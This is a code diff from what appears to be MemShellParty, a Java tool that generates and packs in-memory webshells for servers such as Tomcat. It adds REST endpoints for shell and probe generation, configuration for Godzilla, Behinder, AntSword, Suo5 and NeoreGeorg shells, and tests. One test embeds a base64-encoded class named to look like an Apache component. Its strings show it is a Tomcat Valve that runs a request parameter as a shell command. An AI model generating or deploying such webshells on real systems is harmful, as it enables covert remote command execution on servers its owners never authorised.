+        ShellToolConfig shellToolConfig = request.parseShellToolConfig();
+        InjectorConfig injectorConfig = request.getInjectorConfig();
+        MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
+        if (request.getPackerSpec() == null) {
+            throw new IllegalArgumentException("packerSpec is required");
+        }
+        Packers packers = Packers.fromName(request.getPackerSpec().getName());
+        Packer<?> packer = packers.getInstance();
+        if (packer instanceof JarPacker) {
+            JarPackerConfig<?> jarPackerConfig = generateResult.toJarPackerConfig();
+            return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(jarPackerConfig)));
+        }
+        ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig();
+        classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
+        return new MemShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
+    }
+}

boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeShellGeneratorController.java

@@ -0,0 +1,36 @@
+package com.reajason.javaweb.boot.controller;
+
+import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest;
+import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse;
+import com.reajason.javaweb.packer.ClassPackerConfig;
+import com.reajason.javaweb.packer.Packer;
+import com.reajason.javaweb.packer.Packers;
+import com.reajason.javaweb.probe.ProbeShellGenerator;
+import com.reajason.javaweb.probe.ProbeShellResult;
+import com.reajason.javaweb.probe.config.ProbeConfig;
+import com.reajason.javaweb.probe.config.ProbeContentConfig;
+import org.springframework.web.bind.annotation.*;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/10
+ */
+@RestController
+@RequestMapping("/api/probe/generate")
+@CrossOrigin("*")
+public class ProbeShellGeneratorController {
+    @PostMapping
+    public ProbeShellGenerateResponse generate(@RequestBody ProbeShellGenerateRequest request) {
+        ProbeConfig probeConfig = request.getProbeConfig();
+        ProbeContentConfig probeContentConfig = request.parseProbeContentConfig();
+        ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig);
+        if (request.getPackerSpec() == null) {
+            throw new IllegalArgumentException("packerSpec is required");
+        }
+        Packers packers = Packers.fromName(request.getPackerSpec().getName());
+        Packer packer = packers.getInstance();
+        ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig();
+        classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig()));
+        return new ProbeShellGenerateResponse(generateResult, packer.pack(classPackerConfig));
+    }
+}

boot/src/main/java/com/reajason/javaweb/boot/controller/VersionController.java

@@ -1,10 +1,20 @@
 package com.reajason.javaweb.boot.controller;
 
+import com.reajason.javaweb.boot.entity.VersionInfo;
 import org.springframework.beans.factory.annotation.Value;
+import org.springframework.core.ParameterizedTypeReference;
+import org.springframework.http.HttpMethod;
+import org.springframework.http.HttpStatus;
+import org.springframework.http.ResponseEntity;
 import org.springframework.web.bind.annotation.CrossOrigin;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
+import org.springframework.web.client.RestTemplate;
+import org.thymeleaf.util.StringUtils;
+
+import java.util.List;
+import java.util.Map;
 
 /**
  * @author ReaJason
@@ -12,14 +22,70 @@ import org.springframework.web.bind.annotation.RestController;
  */
 @RestController
 @CrossOrigin("*")
-@RequestMapping("/version")
+@RequestMapping("/api/version")
 public class VersionController {
 
     @Value("${spring.application.version}")
-    String version;
+    private String version;
+
+    private final RestTemplate restTemplate;
+
+    public VersionController(RestTemplate restTemplate) {
+        this.restTemplate = restTemplate;
+    }
 
     @GetMapping
-    public String version() {
+    public VersionInfo version() {
+        if (version.endsWith("-SNAPSHOT")) {
+            return VersionInfo.builder()
+                    .currentVersion(version)
+                    .latestVersion(version).build();
+        }
+        String latestVersion = getLatestGithubRelease();
+        return VersionInfo.builder()
+                .currentVersion(version)
+                .latestVersion(latestVersion)
+                .hasUpdate(!StringUtils.equals(version, latestVersion))
+                .build();
+    }
+
+    private String getLatestGithubRelease() {
+        try {
+            String latestVersion = tryFetchRelease("https://api.github.com");
+            if (latestVersion != null) {
+                return latestVersion;
+            }
+            latestVersion = tryFetchRelease("https://gh.llkk.cc/https://api.github.com");
+            if (latestVersion != null) {
+                return latestVersion;
+            }
+        } catch (Exception ignored) {
+        }
         return version;
     }
+
+    private String tryFetchRelease(String baseUrl) {
+        String apiUrl = String.format("%s/repos/%s/%s/releases", baseUrl, "ReaJason", "MemShellParty");
+
+        ResponseEntity<List<Map<String, Object>>> response = restTemplate.exchange(
+                apiUrl,
+                HttpMethod.GET,
+                null,
+                new ParameterizedTypeReference<>() {
+                }
+        );
+        if (response.getStatusCode() == HttpStatus.OK && response.getBody() != null) {
+            List<Map<String, Object>> body = response.getBody();
+            for (Map<String, Object> map : body) {
+                String targetCommitish = (String) map.get("target_commitish");
+                Boolean prerelease = (Boolean) map.get("prerelease");
+                Boolean draft = (Boolean) map.get("draft");
+                if ("master".equals(targetCommitish) && !prerelease && !draft) {
+                    String tagName = (String) map.get("name");
+                    return tagName.startsWith("v") ? tagName.substring(1) : tagName;
+                }
+            }
+        }
+        return null;
+    }
 }

boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java

@@ -1,16 +1,70 @@
 package com.reajason.javaweb.boot.controller;
 
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
+import org.springframework.core.io.ClassPathResource;
+import org.springframework.http.ResponseEntity;
 import org.springframework.stereotype.Controller;
+import org.springframework.util.FileCopyUtils;
 import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;
 
 /**
  * @author ReaJason
  * @since 2024/12/19
  */
 @Controller
+@Slf4j
 public class ViewController {
     @GetMapping("/")
     public String index(){
-        return "index";
+        return "redirect:/ui";
+    }
+
+    @GetMapping({"/api/search", "/api/search.data"})
+    @ResponseBody
+    public String handleSearch(HttpServletRequest request, HttpServletResponse response) {
+        String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
+        String relativePath = fullPath.substring(1);
+        return renderFileData(relativePath, response);
+    }
+
+    @GetMapping("/ui/**")
+    @SneakyThrows
+    public Object handleView(HttpServletRequest request, HttpServletResponse response) {
+        String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
+        if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
+            return "index";
+        }
+        String docPath = fullPath.substring(4);
+        if (docPath.endsWith(".data")) {
+            return ResponseEntity.ok(renderFileData(docPath, response));
+        }
+        return docPath + "/index";
+    }
+
+    private String renderFileData(String relativePath, HttpServletResponse response) {
+        try {
+            String templatePath = "templates/" + relativePath;
+            ClassPathResource resource = new ClassPathResource(templatePath);
+            if (!resource.exists()) {
+                response.setStatus(HttpServletResponse.SC_NOT_FOUND);
+                return "File not found: " + relativePath;
+            }
+            InputStreamReader reader = new InputStreamReader(
+                    resource.getInputStream(),
+                    StandardCharsets.UTF_8
+            );
+            return FileCopyUtils.copyToString(reader);
+        } catch (IOException e) {
+            response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
+            return "Error reading file: " + e.getMessage();
+        }
     }
 }

boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateResponse.java

@@ -1,29 +0,0 @@
-package com.reajason.javaweb.boot.dto;
-
-import com.reajason.javaweb.memshell.config.GenerateResult;
-import lombok.Data;
-import lombok.NoArgsConstructor;
-
-import java.util.Map;
-
-/**
- * @author ReaJason
- * @since 2024/12/18
- */
-@Data
-@NoArgsConstructor
-public class GenerateResponse {
-    private GenerateResult generateResult;
-    private String packResult;
-    private Map<String, String> allPackResults;
-
-    public GenerateResponse(GenerateResult generateResult, String packResult) {
-        this.generateResult = generateResult;
-        this.packResult = packResult;
-    }
-
-    public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
-        this.allPackResults = allPackResults;
-        this.generateResult = generateResult;
-    }
-}

boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java

@@ -1,30 +1,35 @@
 package com.reajason.javaweb.boot.dto;
 
 import com.reajason.javaweb.memshell.config.*;
-import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.Data;
 
+import static com.reajason.javaweb.memshell.ShellTool.*;
+
 /**
  * @author ReaJason
  * @since 2024/12/18
  */
 @Data
-public class GenerateRequest {
+public class MemShellGenerateRequest {
     private ShellConfig shellConfig;
     private ShellToolConfigDTO shellToolConfig;
     private InjectorConfig injectorConfig;
-    private Packers packer;
+    private PackerRequestSpecDTO packerSpec;
 
     @Data
-    static class ShellToolConfigDTO {
+    public static class ShellToolConfigDTO {
         private String shellClassName;
         private String godzillaPass;
         private String godzillaKey;
         private String commandParamName;
+        private String commandTemplate;
         private String behinderPass;
         private String antSwordPass;
         private String headerName;
         private String headerValue;
+        private String shellClassBase64;
+        private String encryptor;
+        private String implementationClass;
     }
 
     public ShellToolConfig parseShellToolConfig() {
@@ -45,19 +50,37 @@ public class GenerateRequest {
             case Command -> CommandConfig.builder()
                     .shellClassName(shellToolConfig.getShellClassName())
                     .paramName(shellToolConfig.getCommandParamName())
+                    .headerName(shellToolConfig.getHeaderName())
+                    .headerValue(shellToolConfig.getHeaderValue())
+                    .template(shellToolConfig.getCommandTemplate())
+                    .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
+                    .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
                     .build();
-            case Suo5 -> Suo5Config.builder()
+            case Suo5, Suo5v2 -> Suo5Config.builder()
                     .shellClassName(shellToolConfig.getShellClassName())
                     .headerName(shellToolConfig.getHeaderName())
                     .headerValue(shellToolConfig.getHeaderValue())
                     .build();
-            case AntSword ->  AntSwordConfig.builder()
+            case AntSword -> AntSwordConfig.builder()
                     .shellClassName(shellToolConfig.getShellClassName())
                     .pass(shellToolConfig.getAntSwordPass())
                     .headerName(shellToolConfig.getHeaderName())
                     .headerValue(shellToolConfig.getHeaderValue())
                     .build();
+            case NeoreGeorg -> NeoreGeorgConfig.builder()
+                    .shellClassName(shellToolConfig.getShellClassName())
+                    .headerName(shellToolConfig.getHeaderName())
+                    .headerValue(shellToolConfig.getHeaderValue())
+                    .build();
+            case Custom -> CustomConfig.builder()
+                    .shellClassBase64(shellToolConfig.getShellClassBase64())
+                    .shellClassName(shellToolConfig.getShellClassName())
+                    .build();
+            case Proxy -> ProxyConfig.builder()
+                    .headerName(shellToolConfig.getHeaderName())
+                    .headerValue(shellToolConfig.getHeaderValue())
+                    .shellClassName(shellToolConfig.shellClassName).build();
             default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
         };
     }
-}
+}

boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateResponse.java

@@ -0,0 +1,18 @@
+package com.reajason.javaweb.boot.dto;
+
+import com.reajason.javaweb.memshell.MemShellResult;
+import lombok.AllArgsConstructor;
+import lombok.Data;
+import lombok.NoArgsConstructor;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/18
+ */
+@Data
+@NoArgsConstructor
+@AllArgsConstructor
+public class MemShellGenerateResponse {
+    private MemShellResult memShellResult;
+    private String packResult;
+}

boot/src/main/java/com/reajason/javaweb/boot/dto/PackerRequestSpecDTO.java

@@ -0,0 +1,25 @@
+package com.reajason.javaweb.boot.dto;
+
+import com.reajason.javaweb.packer.spec.PackerRequestSpec;
+import lombok.Data;
+
+import java.util.LinkedHashMap;
+import java.util.Map;
+
+/**
+ * Packer selection request payload.
+ */
+@Data
+public class PackerRequestSpecDTO {
+    private String name;
+    private Map<String, Object> config = new LinkedHashMap<>();
+
+    public PackerRequestSpec toPackerRequestSpec() {
+        PackerRequestSpec spec = new PackerRequestSpec();
+        spec.setName(name);
+        if (config != null) {
+            spec.setConfig(config);
+        }
+        return spec;
+    }
+}

boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java

@@ -0,0 +1,43 @@
+package com.reajason.javaweb.boot.dto;
+
+import com.reajason.javaweb.probe.config.*;
+import lombok.Data;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/10
+ */
+@Data
+public class ProbeShellGenerateRequest {
+    private ProbeConfig probeConfig;
+    private ProbeContentConfigDTO probeContentConfig;
+    private PackerRequestSpecDTO packerSpec;
+
+    @Data
+    static class ProbeContentConfigDTO {
+        private String host;
+        private int seconds;
+        private String server;
+        private String sleepServer;
+        private String reqParamName;
+        private String commandTemplate;
+    }
+
+    public ProbeContentConfig parseProbeContentConfig() {
+        return switch (probeConfig.getProbeMethod()) {
+            case DNSLog -> DnsLogConfig.builder()
+                    .host(probeContentConfig.host)
+                    .build();
+            case Sleep -> SleepConfig.builder()
+                    .seconds(probeContentConfig.seconds)
+                    .server(probeContentConfig.sleepServer)
+                    .build();
+            case ResponseBody -> ResponseBodyConfig.builder()
+                    .reqParamName(probeContentConfig.reqParamName)
+                    .commandTemplate(probeContentConfig.commandTemplate)
+                    .server(probeContentConfig.server)
+                    .build();
+            default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
+        };
+    }
+}

boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateResponse.java

@@ -0,0 +1,18 @@
+package com.reajason.javaweb.boot.dto;
+
+import com.reajason.javaweb.probe.ProbeShellResult;
+import lombok.AllArgsConstructor;
+import lombok.Data;
+import lombok.NoArgsConstructor;
+
+/**
+ * @author ReaJason
+ * @since 2025/8/10
+ */
+@Data
+@NoArgsConstructor
+@AllArgsConstructor
+public class ProbeShellGenerateResponse {
+    private ProbeShellResult probeShellResult;
+    private String packResult;
+}

boot/src/main/java/com/reajason/javaweb/boot/entity/Config.java

@@ -11,7 +11,7 @@ import java.util.Map;
  */
 @Data
 public class Config {
-    private List<String> servers;
+    private Map<String, List<String>> servers;
     private Map<String, Map<?, ?>> core;
     private List<String> packers;
 }

boot/src/main/java/com/reajason/javaweb/boot/entity/VersionInfo.java

@@ -0,0 +1,15 @@
+package com.reajason.javaweb.boot.entity;
+
+import lombok.Builder;
+import lombok.Data;
+
+/**
+ * @author ReaJason
+ */
+@Data
+@Builder
+public class VersionInfo {
+    private String currentVersion;
+    private String latestVersion;
+    private boolean hasUpdate;
+} 

boot/src/main/java/com/reajason/javaweb/boot/vo/CommandConfigVO.java

@@ -0,0 +1,16 @@
+package com.reajason.javaweb.boot.vo;
+
+import com.reajason.javaweb.memshell.config.CommandConfig;
+import lombok.Data;
+
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2025/5/25
+ */
+@Data
+public class CommandConfigVO {
+    private List<CommandConfig.Encryptor> encryptors;
+    private List<CommandConfig.ImplementationClass> implementationClasses;
+}

boot/src/main/resources/application.yaml

@@ -1,4 +1,7 @@
 spring:
   application:
     name: boot
-    version: ${version}
+    version: ${version}
+  mvc:
+    pathmatch:
+      matching-strategy: ant_path_matcher

boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java

@@ -0,0 +1,18 @@
+package com.reajason.javaweb.boot.controller;
+
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/10
+ */
+class ClassNameParseControllerTest {
+    @Test
+    void test(){
+        ClassNameParseController classNameParseController = new ClassNameParseController();
+        String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
+        assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
+    }
+}

boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java

@@ -1,6 +1,5 @@
 package com.reajason.javaweb.boot.controller;
 
-import com.reajason.javaweb.boot.entity.Config;
 import org.junit.jupiter.api.Test;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.boot.test.context.SpringBootTest;
@@ -8,8 +7,14 @@ import org.springframework.boot.test.web.client.TestRestTemplate;
 import org.springframework.http.HttpStatus;
 import org.springframework.http.ResponseEntity;
 
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+
 import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
 import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
 
 /**
  * @author ReaJason
@@ -24,14 +29,15 @@ public class ConfigControllerIntegrationTest {
 
     @Test
     public void testConfigEndpoint() {
-        ResponseEntity<Config> response = restTemplate.getForEntity("/config", Config.class);
-
+        ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
         assertEquals(HttpStatus.OK, response.getStatusCode());
-
-        Config config = response.getBody();
-        assertNotNull(config);
-        assertNotNull(config.getServers());
-        assertNotNull(config.getCore());
-        assertNotNull(config.getPackers());
+        assertNotNull(response.getBody());
     }
-}
+
+    @Test
+    public void testConfigServersEndpoint() {
+        ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
+        assertEquals(HttpStatus.OK, response.getStatusCode());
+        assertNotNull(response.getBody());
+    }
+}

boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java

@@ -0,0 +1,79 @@
+package com.reajason.javaweb.boot.controller;
+
+import com.reajason.javaweb.Server;
+import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
+import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
+import com.reajason.javaweb.boot.dto.PackerRequestSpecDTO;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.config.InjectorConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import org.junit.jupiter.api.Test;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.boot.test.context.SpringBootTest;
+import org.springframework.boot.test.web.client.TestRestTemplate;
+import org.springframework.http.HttpStatus;
+import org.springframework.http.ResponseEntity;
+
+import java.util.Map;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+
+/**
+ * @author ReaJason
+ * @since 2025/9/16
+ */
+@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
+class MemShellGeneratorControllerTest {
+
+    @Autowired
+    TestRestTemplate restTemplate;
+
+    @Test
+    void generateShell() {
+        MemShellGenerateRequest request = buildRequest("ScriptEngine", null);
+        ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
+                "/api/memshell/generate", request, MemShellGenerateResponse.class);
+        assertEquals(HttpStatus.OK, response.getStatusCode());
+        assertNotNull(response.getBody());
+    }
+
+    @Test
+    void generateJspxShellWithCustomConfig() {
+        MemShellGenerateRequest request = buildRequest("JSPX", Map.of("unicode", true));
+        ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
+                "/api/memshell/generate", request, MemShellGenerateResponse.class);
+        assertEquals(HttpStatus.OK, response.getStatusCode());
+        assertNotNull(response.getBody());
+    }
+
+    private static MemShellGenerateRequest buildRequest(String packerName, Map<String, Object> packerConfig) {
+        MemShellGenerateRequest request = new MemShellGenerateRequest();
+        request.setShellConfig(ShellConfig.builder()
+                .server(Server.Tomcat)
+                .shellType(ShellType.FILTER)
+                .shellTool(ShellTool.Godzilla)
+                .shrink(true)
+                .debug(true)
+                .serverVersion("Unknown")
+                .targetJreVersion(50)
+                .build());
+        request.setInjectorConfig(InjectorConfig.builder()
+                .urlPattern("/*")
+                .build());
+        PackerRequestSpecDTO packerRequestSpecDTO = new PackerRequestSpecDTO();
+        packerRequestSpecDTO.setName(packerName);
+        if (packerConfig != null) {
+            packerRequestSpecDTO.setConfig(packerConfig);
+        }
+        request.setPackerSpec(packerRequestSpecDTO);
+        MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
+        shellToolConfigDTO.setGodzillaKey("key");
+        shellToolConfigDTO.setGodzillaPass("pass");
+        shellToolConfigDTO.setHeaderName("User-Agent");
+        shellToolConfigDTO.setHeaderValue("hello");
+        request.setShellToolConfig(shellToolConfigDTO);
+        return request;
+    }
+}

build-logic/build.gradle.kts

@@ -0,0 +1,11 @@
+plugins {
+    `kotlin-dsl`
+}
+
+repositories {
+    mavenCentral()
+}
+
+dependencies {
+    implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
+}

build-logic/settings.gradle.kts

@@ -0,0 +1 @@
+rootProject.name = "build-logic"

build-logic/src/main/kotlin/maven-publish-convention.gradle.kts

@@ -0,0 +1,38 @@
+plugins {
+    id("com.vanniktech.maven.publish")
+}
+
+mavenPublishing {
+    publishToMavenCentral(automaticRelease = true, validateDeployment = true)
+    signAllPublications()
+    coordinates(
+        "io.github.reajason",
+        project.name,
+        rootProject.version as String
+    )
+
+    pom {
+        name.set("MemShellParty")
+        description.set(project.description)
+        url.set("https://github.com/ReaJason/MemShellParty")
+        inceptionYear.set("2025")
+        licenses {
+            license {
+                name.set("MIT")
+                url.set("https://spdx.org/licenses/MIT.html")
+            }
+        }
+        developers {
+            developer {
+                id.set("reajason")
+                name.set("ReaJason")
+                url.set("https://reajason.eu.org")
+            }
+        }
+        scm {
+            connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
+            developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
+            url.set("https://github.com/ReaJason/MemShellParty")
+        }
+    }
+}

build.gradle

@@ -1,51 +0,0 @@
-version = project.getProperties().get("version") != "unspecified" ? version : '1.0.0'
-
-allprojects {
-    if (it.name != 'bom') {
-        apply(plugin: 'java')
-        apply(plugin: 'idea')
-        apply(plugin: 'jacoco')
-    }
-
-    if (it.name != 'bom' && !it.name.startsWith("vul")) {
-        dependencies {
-            implementation platform(project(':bom'))
-        }
-    }
-
-    repositories {
-        mavenCentral()
-    }
-}
-
-idea {
-    module {
-        excludeDirs += file('src')
-    }
-}
-
-jacocoTestReport {
-    reports {
-        xml.required = true
-        csv.required = true
-        html.required = true
-    }
-    afterEvaluate {
-        executionData.from fileTree(rootDir) {
-            include '**/build/jacoco/**/*.exec'
-        }
-
-        sourceDirectories = files('generator/src/main/java')
-
-        classDirectories.from(
-                fileTree('generator/build/classes/java/main') {
-                    excludes = [
-                            'com/reajason/javaweb/memsell/**/godzilla/**',
-                            'com/reajason/javaweb/memsell/**/injector/**',
-                            'com/reajason/javaweb/memsell/**/command/**',
-                            'com/reajason/javaweb/config/**'
-                    ]
-                }
-        )
-    }
-}

build.gradle.kts

@@ -0,0 +1,27 @@
+plugins {
+    id("java")
+    id("idea")
+    id("com.vanniktech.maven.publish") version "0.35.0" apply false
+}
+
+idea {
+    module {
+        excludeDirs.add(file("src"))
+    }
+}
+
+version = "2.7.0-SNAPSHOT"
+
+tasks.register("publishAllToMavenCentral") {
+    dependsOn(":memshell-party-common:publishToMavenCentral")
+    dependsOn(":packer:publishToMavenCentral")
+    dependsOn(":generator:publishToMavenCentral")
+    dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenCentral")
+}
+
+tasks.register("publishAllToMavenLocal") {
+    dependsOn(":memshell-party-common:publishToMavenLocal")
+    dependsOn(":packer:publishToMavenLocal")
+    dependsOn(":generator:publishToMavenLocal")
+    dependsOn(":thirdparty:thirdparty-tomcat:publishToMavenLocal")
+}

common/build.gradle

@@ -1,27 +0,0 @@
-plugins {
-    id "io.freefair.lombok" version "8.11"
-}
-
-group = 'com.reajason.javaweb'
-version = rootProject.version
-
-java {
-    sourceCompatibility = JavaVersion.VERSION_1_8
-    targetCompatibility = JavaVersion.VERSION_1_8
-}
-
-dependencies {
-    implementation 'net.bytebuddy:byte-buddy'
-    implementation 'commons-io:commons-io'
-    implementation 'org.apache.commons:commons-lang3'
-    implementation 'commons-codec:commons-codec'
-    implementation 'org.jetbrains:annotations'
-    testImplementation platform('org.junit:junit-bom')
-    testImplementation 'org.junit.jupiter:junit-jupiter'
-    testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
-    testImplementation "org.mockito:mockito-core"
-}
-
-test {
-    useJUnitPlatform()
-}

